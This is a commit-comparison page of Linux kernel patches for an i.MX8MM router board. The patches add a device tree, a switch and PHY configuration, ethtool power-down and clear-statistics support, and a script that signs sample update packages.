Compare commits

...

3 Commits

20 changed files with 2518 additions and 102 deletions

View File

@ -49,8 +49,8 @@ openssl rsa -in target/keys/signingkey.pem -outform PEM -pubout -out target/keys
cp target/keys/signingpub.pem target/overlay/pub.pem cp target/keys/signingpub.pem target/overlay/pub.pem
echo "[+] Generating sample update package" echo "[+] Generating sample update package"
mkdir -p home/update mkdir -p home/upgrade
echo "sample update" > home/update/sample.txt echo "sample update" > home/upgrade/sample.txt
tar -cvf update.tar home tar -cvf update.tar home
openssl dgst -sha256 -sign target/keys/signingkey.pem -out update.tar.sig update.tar openssl dgst -sha256 -sign target/keys/signingkey.pem -out update.tar.sig update.tar
cat update.tar > update.tar.cc cat update.tar > update.tar.cc

View File

@ -1,8 +1,8 @@
diff --git arch/arm64/boot/dts/freescale/Makefile arch/arm64/boot/dts/freescale/Makefile Index: arch/arm64/boot/dts/freescale/Makefile
index da7ede2f5744..2a0a0f56b9a8 100644 ===================================================================
--- linux-imx/arch/arm64/boot/dts/freescale/Makefile --- arch/arm64/boot/dts/freescale/Makefile.orig
+++ linux-imx/arch/arm64/boot/dts/freescale/Makefile +++ linux-imx/arch/arm64/boot/dts/freescale/Makefile
@@ -116,7 +116,8 @@ dtb-$(CONFIG_ARCH_FSL_IMX8MQ) += fsl-imx8mq-ddr3l-arm2.dtb \ @@ -116,7 +116,8 @@ dtb-$(CONFIG_ARCH_FSL_IMX8MQ) += fsl-imx
fsl-imx8mq-evk-inmate.dtb \ fsl-imx8mq-evk-inmate.dtb \
fsl-imx8mq-evk-dp.dtb \ fsl-imx8mq-evk-dp.dtb \
fsl-imx8mq-evk-edp.dtb fsl-imx8mq-evk-edp.dtb
@ -12,12 +12,11 @@ index da7ede2f5744..2a0a0f56b9a8 100644
fsl-imx8mm-evk-ak4497.dtb \ fsl-imx8mm-evk-ak4497.dtb \
fsl-imx8mm-evk-m4.dtb \ fsl-imx8mm-evk-m4.dtb \
fsl-imx8mm-evk-ak5558.dtb \ fsl-imx8mm-evk-ak5558.dtb \
diff --git arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts Index: arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
new file mode 100755 ===================================================================
index 000000000000..411de1c8c620
--- /dev/null --- /dev/null
+++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts +++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm-tgr.dts
@@ -0,0 +1,629 @@ @@ -0,0 +1,646 @@
+/* +/*
+ * Copyright 2018 NXP + * Copyright 2018 NXP
+ * + *
@ -52,30 +51,12 @@ index 000000000000..411de1c8c620
+ +
+ pwr { + pwr {
+ label = "pwr"; + label = "pwr";
+ gpios = <&gpio4 8 GPIO_ACTIVE_HIGH>; + gpios = <&gpio4 5 GPIO_ACTIVE_HIGH>;
+ default-state = "on"; + default-state = "on";
+ }; + };
+ +
+ lte { + lte {
+ label = "lte"; + label = "lte";
+ gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>;
+ default-state = "off";
+ };
+
+ ble {
+ label = "ble";
+ gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>;
+ default-state = "off";
+ };
+
+ wifi {
+ label = "wifi";
+ gpios = <&gpio4 5 GPIO_ACTIVE_HIGH>;
+ default-state = "off";
+ };
+
+ wan {
+ label = "wan";
+ gpios = <&gpio4 4 GPIO_ACTIVE_HIGH>; + gpios = <&gpio4 4 GPIO_ACTIVE_HIGH>;
+ default-state = "off"; + default-state = "off";
+ }; + };
@ -103,15 +84,6 @@ index 000000000000..411de1c8c620
+ }; + };
+}; +};
+ +
+&memory {
+ reg = <0x0 0x40000000 0 0x40000000>;
+};
+
+&linux_cma {
+ size = <0 0x14000000>;
+ alloc-ranges = <0 0x40000000 0 0x30000000>;
+};
+
+&iomuxc { +&iomuxc {
+ pinctrl-names = "default"; + pinctrl-names = "default";
+ pinctrl-0 = <&pinctrl_hog>; + pinctrl-0 = <&pinctrl_hog>;
@ -130,7 +102,8 @@ index 000000000000..411de1c8c620
+ MX8MM_IOMUXC_SAI1_TXFS_GPIO4_IO10 0x80 /* OC HUB USB */ + MX8MM_IOMUXC_SAI1_TXFS_GPIO4_IO10 0x80 /* OC HUB USB */
+ MX8MM_IOMUXC_SAI1_TXD7_GPIO4_IO19 0x10 /* USB PWR */ + MX8MM_IOMUXC_SAI1_TXD7_GPIO4_IO19 0x10 /* USB PWR */
+ MX8MM_IOMUXC_SAI1_MCLK_GPIO4_IO20 0x80 /* OC USB */ + MX8MM_IOMUXC_SAI1_MCLK_GPIO4_IO20 0x80 /* OC USB */
+ MX8MM_IOMUXC_GPIO1_IO14_GPIO1_IO14 0x10 /* RST HUB */ +
+ MX8MM_IOMUXC_GPIO1_IO14_GPIO1_IO14 0x10
+ +
+ /* SDIO WIFI */ + /* SDIO WIFI */
+ MX8MM_IOMUXC_SAI1_TXD1_GPIO4_IO13 0x10 /* SDIO WIFI ENABLE */ + MX8MM_IOMUXC_SAI1_TXD1_GPIO4_IO13 0x10 /* SDIO WIFI ENABLE */
@ -140,6 +113,9 @@ index 000000000000..411de1c8c620
+ MX8MM_IOMUXC_SAI1_RXC_GPIO4_IO1 0x10 /* MODEM RST */ + MX8MM_IOMUXC_SAI1_RXC_GPIO4_IO1 0x10 /* MODEM RST */
+ MX8MM_IOMUXC_SAI1_RXD0_GPIO4_IO2 0x10 /* SIM SELECT */ + MX8MM_IOMUXC_SAI1_RXD0_GPIO4_IO2 0x10 /* SIM SELECT */
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 /* CMD_POWER */ + MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 /* CMD_POWER */
+
+ /* RST BUTTON */
+ MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x1c0
+ >; + >;
+ }; + };
+ +
@ -519,12 +495,6 @@ index 000000000000..411de1c8c620
+ pinctrl-names = "default"; + pinctrl-names = "default";
+ pinctrl-0 = <&pinctrl_i2c3>; + pinctrl-0 = <&pinctrl_i2c3>;
+ status = "okay"; + status = "okay";
+
+ usb2422@2c {
+ compatible = "microchip,usb2422";
+ reg = <0x2c>;
+ reset-gpios = <&gpio1 14 GPIO_ACTIVE_LOW>;
+ };
+}; +};
+ +
+ +
@ -536,26 +506,72 @@ index 000000000000..411de1c8c620
+ pinctrl-names = "default"; + pinctrl-names = "default";
+ pinctrl-0 = <&pinctrl_fec1>, <&pinctrl_fec1_gpio>; + pinctrl-0 = <&pinctrl_fec1>, <&pinctrl_fec1_gpio>;
+ phy-mode = "rmii"; + phy-mode = "rmii";
+ phy-handle = <&ethphy0>;
+ fsl,magic-packet; + fsl,magic-packet;
+ fsl,devname = "ethsw0";
+ status = "okay"; + status = "okay";
+ +
+ phy-reset-gpios = <&gpio4 17 GPIO_ACTIVE_LOW>;
+ phy-reset-duration = <10>;
+
+ assigned-clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>; + assigned-clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>;
+ assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_50M>; + assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_50M>;
+ assigned-clock-rates = <50000000>; + assigned-clock-rates = <50000000>;
+ +
+ fixed-link {
+ speed = <100>;
+ full-duplex;
+ };
+
+ mdio { + mdio {
+ #address-cells = <1>; + #address-cells = <1>;
+ #size-cells = <0>; + #size-cells = <0>;
+ +
+ ethphy0: ethernet-phy@5 { + switch0: switch@16 {
+ compatible = "ethernet-phy-ieee802.3-c22"; + #address-cells = <1>;
+ reg = <0x5>; + #size-cells = <0>;
+ clocks = <&clk IMX8MM_CLK_ENET_REF_SRC>; +
+ clock-names = "rmii-ref"; + compatible = "marvell,mv88e6250";
+ reg = <0x10>;
+ dsa,member = <0 0>;
+ reset-gpios = <&gpio4 17 GPIO_ACTIVE_LOW>;
+
+ ports {
+ #address-cells = <1>;
+ #size-cells = <0>;
+
+ port@5 {
+ reg = <5>;
+ ethernet = <&fec1>;
+ phy-mode = "rmii";
+
+ fixed-link {
+ speed = <100>;
+ full-duplex;
+ };
+ };
+
+ port@1 {
+ reg = <1>;
+ label = "eth0";
+ phy-handle = <&switch0phy1>;
+ };
+
+ port@2 {
+ reg = <2>;
+ label = "eth1";
+ phy-handle = <&switch0phy2>;
+ };
+
+ };
+
+ mdio {
+ #address-cells = <1>;
+ #size-cells = <0>;
+
+ switch0phy1: switch0phy1@11 {
+ reg = <0x11>;
+ };
+ switch0phy2: switch0phy2@12 {
+ reg = <0x12>;
+ };
+ };
+ }; + };
+ }; + };
+}; +};
@ -647,25 +663,3 @@ index 000000000000..411de1c8c620
+&A53_0 { +&A53_0 {
+ arm-supply = <&buck2_reg>; + arm-supply = <&buck2_reg>;
+}; +};
diff --git a/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi b/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
index e200219ea8bb..333c9fbaf07f 100644
--- linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
+++ linux-imx/arch/arm64/boot/dts/freescale/fsl-imx8mm.dtsi
@@ -65,7 +65,7 @@
};
};
- memory@40000000 {
+ memory: memory@40000000 {
device_type = "memory";
reg = <0x0 0x40000000 0 0x80000000>;
};
@@ -76,7 +76,7 @@
ranges;
/* global autoconfigured region for contiguous allocations */
- linux,cma {
+ linux_cma: linux,cma {
compatible = "shared-dma-pool";
reusable;
size = <0 0x28000000>;

View File

@ -1,6 +1,6 @@
diff --git drivers/usb/misc/usb251xb.c drivers/usb/misc/usb251xb.c diff --git drivers/usb/misc/usb251xb.c drivers/usb/misc/usb251xb.c
index 135c91c434bf..a1ca97c07266 100644 index 135c91c434bf..a1ca97c07266 100644
--- linux-imx/drivers/usb/misc/usb251xb.c --- drivers/usb/misc/usb251xb.c
+++ linux-imx/drivers/usb/misc/usb251xb.c +++ linux-imx/drivers/usb/misc/usb251xb.c
@@ -155,6 +155,11 @@ struct usb251xb_data { @@ -155,6 +155,11 @@ struct usb251xb_data {
char product_str[USB251XB_STRING_BUFSIZE / 2]; /* ASCII string */ char product_str[USB251XB_STRING_BUFSIZE / 2]; /* ASCII string */

View File

@ -1,6 +1,6 @@
diff --git drivers/mfd/Kconfig drivers/mfd/Kconfig diff --git drivers/mfd/Kconfig drivers/mfd/Kconfig
index 997a6172735e..e33bd218301b 100644 index 997a6172735e..e33bd218301b 100644
--- linux-imx/drivers/mfd/Kconfig --- drivers/mfd/Kconfig
+++ linux-imx/drivers/mfd/Kconfig +++ linux-imx/drivers/mfd/Kconfig
@@ -1818,6 +1818,14 @@ config MFD_BD71837 @@ -1818,6 +1818,14 @@ config MFD_BD71837
if you say yes here you get support for the BD71837 if you say yes here you get support for the BD71837
@ -19,7 +19,7 @@ index 997a6172735e..e33bd218301b 100644
diff --git drivers/mfd/Makefile drivers/mfd/Makefile diff --git drivers/mfd/Makefile drivers/mfd/Makefile
index c6755df735ba..962dcc88d99c 100644 index c6755df735ba..962dcc88d99c 100644
--- linux-imx/drivers/mfd/Makefile --- drivers/mfd/Makefile
+++ linux-imx/drivers/mfd/Makefile +++ linux-imx/drivers/mfd/Makefile
@@ -232,3 +232,4 @@ obj-$(CONFIG_MFD_STM32_LPTIMER) += stm32-lptimer.o @@ -232,3 +232,4 @@ obj-$(CONFIG_MFD_STM32_LPTIMER) += stm32-lptimer.o
obj-$(CONFIG_MFD_STM32_TIMERS) += stm32-timers.o obj-$(CONFIG_MFD_STM32_TIMERS) += stm32-timers.o
@ -338,7 +338,7 @@ index 000000000000..85ce6e3eef68
+MODULE_LICENSE("GPL"); +MODULE_LICENSE("GPL");
diff --git drivers/regulator/Kconfig drivers/regulator/Kconfig diff --git drivers/regulator/Kconfig drivers/regulator/Kconfig
index 5361947ea726..e5b3c9ffb982 100644 index 5361947ea726..e5b3c9ffb982 100644
--- linux-imx/drivers/regulator/Kconfig --- drivers/regulator/Kconfig
+++ linux-imx/drivers/regulator/Kconfig +++ linux-imx/drivers/regulator/Kconfig
@@ -983,5 +983,11 @@ config REGULATOR_BD71837 @@ -983,5 +983,11 @@ config REGULATOR_BD71837
help help
@ -354,7 +354,7 @@ index 5361947ea726..e5b3c9ffb982 100644
diff --git drivers/regulator/Makefile drivers/regulator/Makefile diff --git drivers/regulator/Makefile drivers/regulator/Makefile
index 1bddbefbc8e7..0072ad5666f8 100644 index 1bddbefbc8e7..0072ad5666f8 100644
--- linux-imx/drivers/regulator/Makefile --- drivers/regulator/Makefile
+++ linux-imx/drivers/regulator/Makefile +++ linux-imx/drivers/regulator/Makefile
@@ -126,6 +126,7 @@ obj-$(CONFIG_REGULATOR_WM8350) += wm8350-regulator.o @@ -126,6 +126,7 @@ obj-$(CONFIG_REGULATOR_WM8350) += wm8350-regulator.o
obj-$(CONFIG_REGULATOR_WM8400) += wm8400-regulator.o obj-$(CONFIG_REGULATOR_WM8400) += wm8400-regulator.o

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,26 @@
Index: drivers/net/ethernet/freescale/fec_main.c
===================================================================
--- drivers/net/ethernet/freescale/fec_main.c
+++ linux-imx/drivers/net/ethernet/freescale/fec_main.c
@@ -3630,12 +3630,19 @@ fec_probe(struct platform_device *pdev)
struct device_node *np = pdev->dev.of_node, *phy_node;
int num_tx_qs;
int num_rx_qs;
+ const char *dev_name;
fec_enet_get_queue_num(pdev, &num_tx_qs, &num_rx_qs);
/* Init network device */
- ndev = alloc_etherdev_mqs(sizeof(struct fec_enet_private) +
- FEC_STATS_SIZE, num_tx_qs, num_rx_qs);
+ dev_name = of_get_property(np, "fsl,devname", NULL);
+ if (dev_name)
+ ndev = alloc_netdev_mqs(sizeof(struct fec_enet_private) +
+ FEC_STATS_SIZE, dev_name, NET_NAME_UNKNOWN,
+ ether_setup, num_tx_qs, num_rx_qs);
+ else
+ ndev = alloc_etherdev_mqs(sizeof(struct fec_enet_private) +
+ FEC_STATS_SIZE, num_tx_qs, num_rx_qs);
if (!ndev)
return -ENOMEM;

View File

@ -0,0 +1,49 @@
Index: net/dsa/Kconfig
===================================================================
--- net/dsa/Kconfig
+++ linux-imx/net/dsa/Kconfig
@@ -40,4 +40,9 @@ config NET_DSA_TAG_TRAILER
config NET_DSA_TAG_QCA
bool
+config NET_DSA_SLAVE_MAC
+ bool "DSA Extension for Tiesse TGR"
+ ---help---
+ This enables a Tiesse TGR specific mac assignement schema
+
endif
Index: net/dsa/slave.c
===================================================================
--- net/dsa/slave.c
+++ linux-imx/net/dsa/slave.c
@@ -27,6 +27,18 @@
static bool dsa_slave_dev_check(struct net_device *dev);
+#ifdef CONFIG_NET_DSA_SLAVE_MAC
+static inline void eth_hw_addr_assign(int port_index,
+ struct net_device *dst,
+ struct net_device *src)
+{
+ u64 temp = ether_addr_to_u64(src->dev_addr);
+ temp += port_index-1;
+ u64_to_ether_addr(temp, dst->dev_addr);
+ dst->addr_assign_type = src->addr_assign_type;
+}
+#endif
+
/* slave mii_bus handling ***************************************************/
static int dsa_slave_phy_read(struct mii_bus *bus, int addr, int reg)
{
@@ -1277,7 +1289,11 @@ int dsa_slave_create(struct dsa_port *po
slave_dev->features = master->vlan_features | NETIF_F_HW_TC;
slave_dev->hw_features |= NETIF_F_HW_TC;
slave_dev->ethtool_ops = &dsa_slave_ethtool_ops;
+#ifdef CONFIG_NET_DSA_SLAVE_MAC
+ eth_hw_addr_assign(port->index, slave_dev, master);
+#else
eth_hw_addr_inherit(slave_dev, master);
+#endif
slave_dev->priv_flags |= IFF_NO_QUEUE;
slave_dev->netdev_ops = &dsa_slave_netdev_ops;
slave_dev->switchdev_ops = &dsa_slave_switchdev_ops;

View File

@ -0,0 +1,322 @@
Index: drivers/net/phy/phy.c
===================================================================
--- drivers/net/phy/phy.c
+++ linux-imx/drivers/net/phy/phy.c
@@ -55,6 +55,7 @@ static const char *phy_state_to_str(enum
PHY_STATE_STR(NOLINK)
PHY_STATE_STR(FORCING)
PHY_STATE_STR(CHANGELINK)
+ PHY_STATE_STR(POWERED_DOWN)
PHY_STATE_STR(HALTED)
PHY_STATE_STR(RESUMING)
}
@@ -241,6 +242,33 @@ static void phy_sanitize_settings(struct
}
}
+static int phy_shut(struct phy_device *phydev)
+{
+ mutex_lock(&phydev->lock);
+ phydev->power = PHY_POWER_DOWN;
+ if (PHY_HALTED == phydev->state) {
+ mutex_unlock(&phydev->lock);
+ return 0;
+ }
+ phydev->state = PHY_POWERED_DOWN;
+ mutex_unlock(&phydev->lock);
+ return 0;
+}
+
+static int phy_unshut(struct phy_device *phydev)
+{
+ mutex_lock(&phydev->lock);
+ phydev->power = PHY_POWER_UP;
+ if (PHY_HALTED == phydev->state) {
+ mutex_unlock(&phydev->lock);
+ return 0;
+ }
+ phy_power_up(phydev);
+ phydev->state = PHY_CHANGELINK;
+ mutex_unlock(&phydev->lock);
+ return 0;
+}
+
/**
* phy_ethtool_sset - generic ethtool sset function, handles all the details
* @phydev: target phy_device struct
@@ -257,10 +285,28 @@ static void phy_sanitize_settings(struct
int phy_ethtool_sset(struct phy_device *phydev, struct ethtool_cmd *cmd)
{
u32 speed = ethtool_cmd_speed(cmd);
+ int ret;
if (cmd->phy_address != phydev->mdio.addr)
return -EINVAL;
+ if (PHY_POWERED_DOWN == phydev->state) {
+ if (cmd->power == PHY_POWER_UP) {
+ ret = phy_unshut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ }
+ return 0;
+ }
+ else if (cmd->power == PHY_POWER_DOWN) {
+ ret = phy_shut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ return 0;
+ }
+
/* We make sure that we don't pass unsupported values in to the PHY */
cmd->advertising &= phydev->supported;
@@ -308,10 +354,28 @@ int phy_ethtool_ksettings_set(struct phy
u8 duplex = cmd->base.duplex;
u32 speed = cmd->base.speed;
u32 advertising;
+ int ret;
if (cmd->base.phy_address != phydev->mdio.addr)
return -EINVAL;
+ if (PHY_POWERED_DOWN == phydev->state) {
+ if (cmd->base.power == PHY_POWER_UP) {
+ ret = phy_unshut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ }
+ return 0;
+ }
+ else if (cmd->base.power == PHY_POWER_DOWN) {
+ ret = phy_shut(phydev);
+ if (ret < 0)
+ return -EIO;
+ phy_trigger_machine(phydev, true);
+ return 0;
+ }
+
ethtool_convert_link_mode_to_legacy_u32(&advertising,
cmd->link_modes.advertising);
@@ -379,6 +443,7 @@ void phy_ethtool_ksettings_get(struct ph
cmd->base.autoneg = phydev->autoneg;
cmd->base.eth_tp_mdix_ctrl = phydev->mdix_ctrl;
cmd->base.eth_tp_mdix = phydev->mdix;
+ cmd->base.power = phydev->power;
}
EXPORT_SYMBOL(phy_ethtool_ksettings_get);
@@ -881,7 +946,7 @@ void phy_state_machine(struct work_struc
struct delayed_work *dwork = to_delayed_work(work);
struct phy_device *phydev =
container_of(dwork, struct phy_device, state_queue);
- bool needs_aneg = false, do_suspend = false;
+ bool needs_aneg = false, do_suspend = false, do_power_down = false;
enum phy_state old_state;
int err = 0;
int old_link;
@@ -1014,6 +1079,14 @@ void phy_state_machine(struct work_struc
do_suspend = true;
}
break;
+ case PHY_POWERED_DOWN:
+ phy_read_status(phydev);
+ if (phydev->link) {
+ phydev->link = 0;
+ phy_link_down(phydev, true);
+ do_power_down = true;
+ }
+ break;
case PHY_RESUMING:
if (AUTONEG_ENABLE == phydev->autoneg) {
err = phy_aneg_done(phydev);
@@ -1059,8 +1132,14 @@ void phy_state_machine(struct work_struc
if (needs_aneg)
err = phy_start_aneg_priv(phydev, false);
- else if (do_suspend)
- phy_suspend(phydev);
+ else {
+ if (do_suspend)
+ phy_suspend(phydev);
+ if (do_power_down) {
+ phy_power_down(phydev);
+ phy_read_status(phydev);
+ }
+ }
if (err < 0)
phy_error(phydev);
Index: drivers/net/phy/phy_device.c
===================================================================
--- drivers/net/phy/phy_device.c
+++ linux-imx/drivers/net/phy/phy_device.c
@@ -1230,6 +1230,31 @@ out:
}
EXPORT_SYMBOL(phy_loopback);
+int phy_power_down(struct phy_device *phydev)
+{
+ struct phy_driver *phydrv = to_phy_driver(phydev->mdio.dev.driver);
+ int ret = 0;
+
+ if (phydev->drv && phydrv->suspend)
+ ret = phydrv->suspend(phydev);
+
+ return ret;
+
+}
+EXPORT_SYMBOL(phy_power_down);
+
+int phy_power_up(struct phy_device *phydev)
+{
+ struct phy_driver *phydrv = to_phy_driver(phydev->mdio.dev.driver);
+ int ret = 0;
+
+ if (phydev->drv && phydrv->resume)
+ ret = phydrv->resume(phydev);
+
+ return ret;
+}
+EXPORT_SYMBOL(phy_power_up);
+
/* Generic PHY support and helper functions */
/**
@@ -1501,6 +1526,7 @@ EXPORT_SYMBOL(genphy_update_link);
*/
int genphy_read_status(struct phy_device *phydev)
{
+ int bmcr;
int adv;
int err;
int lpa;
@@ -1513,6 +1539,10 @@ int genphy_read_status(struct phy_device
if (err)
return err;
+ bmcr = phy_read(phydev, MII_BMCR);
+ if (bmcr < 0)
+ return bmcr;
+
phydev->lp_advertising = 0;
if (AUTONEG_ENABLE == phydev->autoneg) {
@@ -1567,11 +1597,6 @@ int genphy_read_status(struct phy_device
phydev->asym_pause = lpa & LPA_PAUSE_ASYM ? 1 : 0;
}
} else {
- int bmcr = phy_read(phydev, MII_BMCR);
-
- if (bmcr < 0)
- return bmcr;
-
if (bmcr & BMCR_FULLDPLX)
phydev->duplex = DUPLEX_FULL;
else
@@ -1588,6 +1613,11 @@ int genphy_read_status(struct phy_device
phydev->asym_pause = 0;
}
+ if (bmcr & BMCR_PDOWN)
+ phydev->power = PHY_POWER_DOWN;
+ else
+ phydev->power = PHY_POWER_UP;
+
return 0;
}
EXPORT_SYMBOL(genphy_read_status);
Index: include/linux/phy.h
===================================================================
--- include/linux/phy.h
+++ linux-imx/include/linux/phy.h
@@ -348,6 +348,7 @@ enum phy_state {
PHY_NOLINK,
PHY_FORCING,
PHY_CHANGELINK,
+ PHY_POWERED_DOWN,
PHY_HALTED,
PHY_RESUMING
};
@@ -447,6 +448,8 @@ struct phy_device {
int link_timeout;
+ int power;
+
#ifdef CONFIG_LED_TRIGGER_PHY
struct phy_led_trigger *phy_led_triggers;
unsigned int phy_num_led_triggers;
@@ -819,6 +822,8 @@ int phy_suspend(struct phy_device *phyde
int phy_resume(struct phy_device *phydev);
int __phy_resume(struct phy_device *phydev);
int phy_loopback(struct phy_device *phydev, bool enable);
+int phy_power_up(struct phy_device *phydev);
+int phy_power_down(struct phy_device *phydev);
struct phy_device *phy_attach(struct net_device *dev, const char *bus_id,
phy_interface_t interface);
struct phy_device *phy_find_first(struct mii_bus *bus);
Index: include/uapi/linux/ethtool.h
===================================================================
--- include/uapi/linux/ethtool.h
+++ linux-imx/include/uapi/linux/ethtool.h
@@ -114,7 +114,10 @@ struct ethtool_cmd {
__u8 eth_tp_mdix;
__u8 eth_tp_mdix_ctrl;
__u32 lp_advertising;
- __u32 reserved[2];
+ __u8 power;
+ __u8 reserved2;
+ __u16 reserved3;
+ __u32 reserved[1];
};
static inline void ethtool_cmd_speed_set(struct ethtool_cmd *ep,
@@ -1664,6 +1667,11 @@ static inline int ethtool_validate_duple
#define ETH_MODULE_SFF_8436 0x4
#define ETH_MODULE_SFF_8436_LEN 256
+/* TIESSE Power, up or down. */
+#define PHY_POWER_IGNORE 0x0
+#define PHY_POWER_DOWN 0x1
+#define PHY_POWER_UP 0x2
+
/* Reset flags */
/* The reset() operation must clear the flags for the components which
* were actually reset. On successful return, the flags indicate the
@@ -1808,7 +1816,8 @@ struct ethtool_link_settings {
__u8 eth_tp_mdix_ctrl;
__s8 link_mode_masks_nwords;
__u8 transceiver;
- __u8 reserved1[3];
+ __u8 power;
+ __u8 reserved1[2];
__u32 reserved[7];
__u32 link_mode_masks[0];
/* layout of link_mode_masks fields:
Index: net/core/ethtool.c
===================================================================
--- net/core/ethtool.c
+++ linux-imx/net/core/ethtool.c
@@ -480,6 +480,8 @@ convert_legacy_settings_to_link_ksetting
= legacy_settings->eth_tp_mdix;
link_ksettings->base.eth_tp_mdix_ctrl
= legacy_settings->eth_tp_mdix_ctrl;
+ link_ksettings->base.power
+ = legacy_settings->power;
return retval;
}
@@ -526,6 +528,8 @@ convert_link_ksettings_to_legacy_setting
= link_ksettings->base.eth_tp_mdix_ctrl;
legacy_settings->transceiver
= link_ksettings->base.transceiver;
+ legacy_settings->power
+ = link_ksettings->base.power;
return retval;
}

View File

@ -0,0 +1,13 @@
Index: drivers/net/phy/phy_device.c
===================================================================
--- drivers/net/phy/phy_device.c
+++ linux-imx/drivers/net/phy/phy_device.c
@@ -1389,6 +1389,8 @@ int genphy_setup_forced(struct phy_devic
if (DUPLEX_FULL == phydev->duplex)
ctl |= BMCR_FULLDPLX;
+ ctl |= BMCR_RESET;
+
return phy_write(phydev, MII_BMCR, ctl);
}
EXPORT_SYMBOL(genphy_setup_forced);

View File

@ -0,0 +1,235 @@
Index: include/uapi/linux/ethtool.h
===================================================================
--- include/uapi/linux/ethtool.h
+++ linux-imx/include/uapi/linux/ethtool.h
@@ -1377,6 +1377,7 @@ enum ethtool_fec_config_bits {
#define ETHTOOL_PHY_STUNABLE 0x0000004f /* Set PHY tunable configuration */
#define ETHTOOL_GFECPARAM 0x00000050 /* Get FEC settings */
#define ETHTOOL_SFECPARAM 0x00000051 /* Set FEC settings */
+#define ETHTOOL_CSTATS 0x00000052 /* Clear statistics */
/* compatibility with older code */
#define SPARC_ETH_GSET ETHTOOL_GSET
Index: net/core/ethtool.c
===================================================================
--- net/core/ethtool.c
+++ linux-imx/net/core/ethtool.c
@@ -1938,6 +1938,15 @@ static int ethtool_get_stats(struct net_
return ret;
}
+static int ethtool_clear_stats(struct net_device *dev)
+{
+ if (!dev->ethtool_ops->clear_ethtool_stats)
+ return -EOPNOTSUPP;
+
+ dev->ethtool_ops->clear_ethtool_stats(dev);
+ return 0;
+}
+
static int ethtool_get_phy_stats(struct net_device *dev, void __user *useraddr)
{
struct ethtool_stats stats;
@@ -2577,6 +2586,7 @@ int dev_ethtool(struct net *net, struct
case ETHTOOL_GSSET_INFO:
case ETHTOOL_GSTRINGS:
case ETHTOOL_GSTATS:
+ case ETHTOOL_CSTATS:
case ETHTOOL_GPHYSTATS:
case ETHTOOL_GTSO:
case ETHTOOL_GPERMADDR:
@@ -2688,6 +2698,9 @@ int dev_ethtool(struct net *net, struct
case ETHTOOL_GSTATS:
rc = ethtool_get_stats(dev, useraddr);
break;
+ case ETHTOOL_CSTATS:
+ rc = ethtool_clear_stats(dev);
+ break;
case ETHTOOL_GPERMADDR:
rc = ethtool_get_perm_addr(dev, useraddr);
break;
Index: include/linux/ethtool.h
===================================================================
--- include/linux/ethtool.h
+++ linux-imx/include/linux/ethtool.h
@@ -347,6 +347,7 @@ struct ethtool_ops {
int (*set_phys_id)(struct net_device *, enum ethtool_phys_id_state);
void (*get_ethtool_stats)(struct net_device *,
struct ethtool_stats *, u64 *);
+ void (*clear_ethtool_stats)(struct net_device *);
int (*begin)(struct net_device *);
void (*complete)(struct net_device *);
u32 (*get_priv_flags)(struct net_device *);
Index: net/dsa/slave.c
===================================================================
--- net/dsa/slave.c
+++ linux-imx/net/dsa/slave.c
@@ -1019,6 +1019,30 @@ static int dsa_slave_set_rxnfc(struct ne
return ds->ops->set_rxnfc(ds, p->dp->index, nfc);
}
+static void dsa_slave_clear_ethtool_stats(struct net_device *dev)
+{
+ struct dsa_slave_priv *p = netdev_priv(dev);
+ struct dsa_switch *ds = p->dp->ds;
+ struct pcpu_sw_netstats *s;
+ unsigned int start;
+ int i;
+
+ memset(&dev->stats, 0, sizeof(struct net_device_stats));
+ for_each_possible_cpu(i) {
+ s = per_cpu_ptr(p->stats64, i);
+ do {
+ start = u64_stats_fetch_begin_irq(&s->syncp);
+ s->tx_packets = 0L;
+ s->tx_bytes = 0L;
+ s->rx_packets = 0L;
+ s->rx_bytes = 0L;
+ } while (u64_stats_fetch_retry_irq(&s->syncp, start));
+ }
+
+ if (ds->ops->clear_ethtool_stats)
+ ds->ops->clear_ethtool_stats(ds, p->dp->index);
+}
+
static const struct ethtool_ops dsa_slave_ethtool_ops = {
.get_drvinfo = dsa_slave_get_drvinfo,
.get_regs_len = dsa_slave_get_regs_len,
@@ -1039,6 +1063,7 @@ static const struct ethtool_ops dsa_slav
.set_link_ksettings = dsa_slave_set_link_ksettings,
.get_rxnfc = dsa_slave_get_rxnfc,
.set_rxnfc = dsa_slave_set_rxnfc,
+ .clear_ethtool_stats = dsa_slave_clear_ethtool_stats,
};
static const struct net_device_ops dsa_slave_netdev_ops = {
Index: drivers/net/dsa/mv88e6xxx/chip.h
===================================================================
--- drivers/net/dsa/mv88e6xxx/chip.h
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.h
@@ -330,6 +330,7 @@ struct mv88e6xxx_ops {
void (*stats_get_strings)(struct mv88e6xxx_chip *chip, uint8_t *data);
void (*stats_get_stats)(struct mv88e6xxx_chip *chip, int port,
uint64_t *data);
+ void (*stats_clear_stats)(struct mv88e6xxx_chip *chip, int port);
int (*set_cpu_port)(struct mv88e6xxx_chip *chip, int port);
int (*set_egress_port)(struct mv88e6xxx_chip *chip, int port);
const struct mv88e6xxx_irq_ops *watchdog_ops;
Index: include/net/dsa.h
===================================================================
--- include/net/dsa.h
+++ linux-imx/include/net/dsa.h
@@ -320,6 +320,7 @@ struct dsa_switch_ops {
void (*get_ethtool_stats)(struct dsa_switch *ds,
int port, uint64_t *data);
